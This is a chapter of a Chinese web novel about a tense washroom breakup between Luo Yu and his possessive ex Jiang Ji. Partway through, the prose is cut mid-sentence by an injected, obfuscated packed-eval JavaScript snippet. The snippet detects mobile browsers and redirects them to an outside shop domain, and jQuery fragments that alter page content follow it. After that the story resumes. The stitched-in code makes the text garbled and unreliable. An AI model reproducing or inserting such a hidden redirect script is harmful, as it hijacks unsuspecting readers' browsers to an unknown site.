洛郁没有理,接着慢条斯理的洗手。
水还在流,哗哗的。他没回头,甚至没低头去看那只环在腰上的手,对方似乎很不满,因为他感觉到了另一只手,那只手从身后绕过来,指腹贴上他的喉咙。
凉的。手指很长,骨节分明,指腹带着一层薄薄的茧,蹭过皮肤时有细微的痒意。
洛郁透过镜子看过去。
水汽模糊了镜面,但足够让他看清身后那个人的轮廓。他穿着一身黑色西装,是洛郁给他专门定制的,剪裁很好,衬得肩宽腰窄。
洛郁在心中默默赞赏了一下自己的品味。
男人见他没有反应,把手贴在他喉咙上,手背上能看见淡青色的血管。手指很长,指节分明,此刻正微微收拢,像是想用力,又像是舍不得。
洛郁看着那只手,忽然想起半年前第一次见到这个人的时候。
那时候他坐在角落里,也是这么白,白得像从来没晒过太阳。侧脸苍白俊美,耳上戴着助听器,整个人安静得像是从画里走出来的。
那时候他想:这张脸,真会长。
现在看来,还是这么会长。
“江寂。”洛郁先开了口,似乎完全没有发现现在的危险情况一样,“你这是干什么?”
身后的人没说话,那只环在腰上的手收紧了一点。
洛郁低头看了一眼。那只手从他腰侧绕过来,手指扣在他小腹上,让他想到了一些不该想的记忆,他只好赶紧说话,转移话题:“找我?怎么找到这儿来的?”
那人终于开口了。
“你发的消息。”
声音很低,就在他耳边,说话的时候,呼吸落在他耳侧,温热,潮湿。
洛郁“嗯”了一声。
“我在家等了你一晚上,为什么不来找我?为什么不当面和我说。”
洛郁又“嗯”了一声。
“你就这个反应?”
那人的声音终于有了点起伏,洛郁感觉到贴在自己喉咙上的那只手动了一下,拇指轻轻蹭过他的喉结,像是在描摹那块骨头的形状。
洛郁笑了,他侧过头,露出半截白皙的脖颈。那动作随意得很,像是完全没把喉咙上那只手当回事,这一下使他再次看见他的脸。
鼻梁高挺,直直落下来,到鼻翼处收得干净利落,嘴唇薄薄的,唇形却很分明,上唇薄,下唇略丰,此刻抿成一条线,唇角微微向下,即使是在这个时候,也透着点与生俱来的疏离。
最让人移不开眼的是他的耳朵上的助听器,灯光从侧面打过来,在他脸上落下明暗交错的光影。他整个人站在那里,像一柄收鞘的刀,冷,静,却带着让人无法忽视的锋芒。
洛郁收回目光,看着对方还垂着眼眸看着自己:“看什么?不认识我了?”
身后的人没说话,只是收紧环在他腰上的那只手。那只手扣得更紧,手指微微陷进他腰侧的肉里。
洛郁被勒得有点喘不过气,但他没挣扎。
“江寂。你勒疼我了。”洛郁又叫了一声,理直气壮的好像他们从未分手一样。
江寂听到他的话下意识的手松了一点,“为什么?为什么不来找我?”
洛郁歪了歪头,他想他在短信里已经说的很明白了:“你不是已经看到了吗?我发的消息。”
“我问你为什么不来找我。”
江寂的声音压得更低,似乎在压抑着自己的情绪。
洛郁笑了,他觉得有些莫名其妙:“找你干什么?当面说?然后看你哭?”
“你觉得我会哭?”他问,声音里带着点希冀。
洛郁看着他那张脸。那张脸苍白,冷硬,眉眼间带着与生俱来的疏离感。即使是在这个时候,即使眼眶泛红,他也不像会哭的样子。
“不知道。但我不想看。”洛郁说
那人沉默好一会儿,好一会儿他才说:“两个月。两个月零三天。”
洛郁愣了一下。
“我们在一起两个月零三天。”那人继续说,拇指轻轻蹭过他的喉结,“你以前最长三周。我以为……”
他没说下去。
“你以为什么?”洛郁问。
他没答话,他只是收紧环在洛郁腰上的手,把下巴抵在洛郁的肩膀上。那张脸贴得很近,近到洛郁能感觉到他皮肤的凉意。
“我以为我不一样。我以为你会……”
他又没说完。
洛郁等了几秒,没等到下文。
“以为什么?以为我改性了?以为我从此收心了?以为我会跟你一辈子?”
他没等江寂回答,自顾自地往下说:“江寂,我发那条消息的时候想的是好聚好散。咱俩在一起的时候,我对你怎么样,你心里清楚。现在结束了,我也没玩消失,给了你一个交代。这还不够?”
江寂没说话,只是贴在他喉咙上的手动了一下。拇指又蹭过他的喉结,洛郁被这动作弄得有点痒,偏了偏头,想躲开。但江寂的手跟着他动,始终贴在那里。
“你躲什么?”江寂问,声音很低。
“痒。”洛郁答得理直气壮。
江寂的手顿了一下,然后移开了。不是从喉咙上移开,而是换了个位置,改用手掌贴着,这样就不痒了。
洛郁:“……”
他忽然有点想笑。这人真是,都这种时候了,还记得他怕痒。
“江寂。”
他叫他的名字,语气软了一点,“松开吧。你这样,我们没法好好说话。”
然而江寂似乎没有放过的打算:“你刚才说了那么多,不是说得挺好?”
洛郁被噎了一下。
行吧。
他深吸一口气,尽量语气平缓的说:“江寂,我刚才说的那些,你听进去了吗?”
身后的人没说话。
洛郁叹了口气。
“好聚好散,不好吗?咱俩在一起的时候,我亏待过你吗?没有吧。我陪你聊天,陪你吃饭,陪你睡觉。你心情不好的时候我哄你,你心情好的时候我陪你开心。你想要什么,我给什么。我没骗过你吧?在买的那套公寓,我也直接记在了你的名下。”
他顿了顿,有时候想到什么似的补充道:“而且我跟你说过我是这种人吧?”
身后的人终于开口了。
“说过。”
那声音很低,就在他耳边,听不出什么情绪。
“那不就结了。你知道我是什么人,还跟我耗这么久。现在结束了,你又来找我。你找我干什么?想听我说什么?说我对不起你?说我后悔了?说我想回头?”
他笑了一声嘲弄道:“江寂,别闹了。”
“你觉得我在闹?”
江寂的声音还是那么低,但洛郁听出了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416113|200767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点不一样的东西。不是愤怒,不是委屈,是别的什么。
他懒得去想是什么。
“不然呢?你跑来找我,堵我,这样抱着我,想干什么?想让我回心转意?还是想报复我?”
他说了好一会儿,对方还跟闷葫芦似的,一言不发他实在是有点懒得说了。
“行了。松开吧。我真走了。”
那人没动。
洛郁等了两秒,见他不松,就伸手去掰那只环在腰上的手。
那手扣得很紧,他掰了一下,没掰动。
他叹了口气:“江寂。”
那人终于开口了。
“我们还不算完。”
“什么?”
“我说。我们还不算完。不是你想结束就能结束的。”
洛郁愣了一下,笑着偏过头,盯着他的眼睛说:“你这是威胁我?”
江寂没说话,只是看着他,他松手了那只环在腰上的手撤走了,那只贴在他喉咙上的手也移开了。洛郁还没反应过来,整个人就被转了过去。
江寂捧住了他的脸:“你总是这样。你总是这样。”
洛郁看着他,没说话。
“你总觉得什么都能用几句话打发。你觉得给我一个交代就够了。你觉得好聚好散这四个字,就能把一切一笔勾销。”
江寂的拇指轻轻蹭过他的脸颊,声音很温柔,像在说什么情话:“我们还不算完。听清楚了吗?我们还不算完。不是你想结束就能结束的。”
洛郁倒是没有什么反应,毕竟他不是第一个分手了之后还对自己纠缠不休的人。
忽然洛郁的手机响了。
他拿出来看了一眼,周淮安。屏幕上那名字一跳一跳的,催命似的。
他还被江寂捧着脸。
洛郁没动,只是垂着眼看屏幕上那个名字跳了两下,一眼都眼都没抬着,直接说:“手放开。我接电话。”
几乎是下意识的江寂把把手松开了,连江寂自己都愣了一下。
洛郁没说什么,绕开江寂,走到洗手台边,靠上去。后背抵着冰凉的大理石,他划开手机。
“喂?”
“洛郁你人呢!我找了半天都没找到你。”
洛郁把手机拿远了一点,等那头喊完了才重新贴回耳边:“厕所呢,催什么。”
“行行行你厉害。你快出来出事了!”
“什么事?”
“电话里说不清,你赶紧过来,我在东区宴会厅门口等你!快点!”
洛郁听着那头的声音,周淮安难得这么急,不像装的。
“行。我这就过去。好好好,你先别急,我马上过去。”
洛郁挂了电话,把手机往裤兜里一塞,直起身。
他从江寂身边走过,脚步没停。走到门口,他忽然想起什么,回过头,他眼里带着醉人的笑意,好似今天晚上的事没有给他留下一点痕迹。他抬起手,修长的手指在空中轻轻一扬。
“Bye”
说完没等对方反应,他就走了出去。
走廊里空荡荡的,洛郁走了几步,忽然注意到旁边有一扇门开着一条缝。
这种场合,门怎么会开着?准备宴会不应该犯这种低级错误。
但他只是扫了一眼,没停下来。周淮安还在东区门口等着,那家伙急成那样,肯定不是什么小事。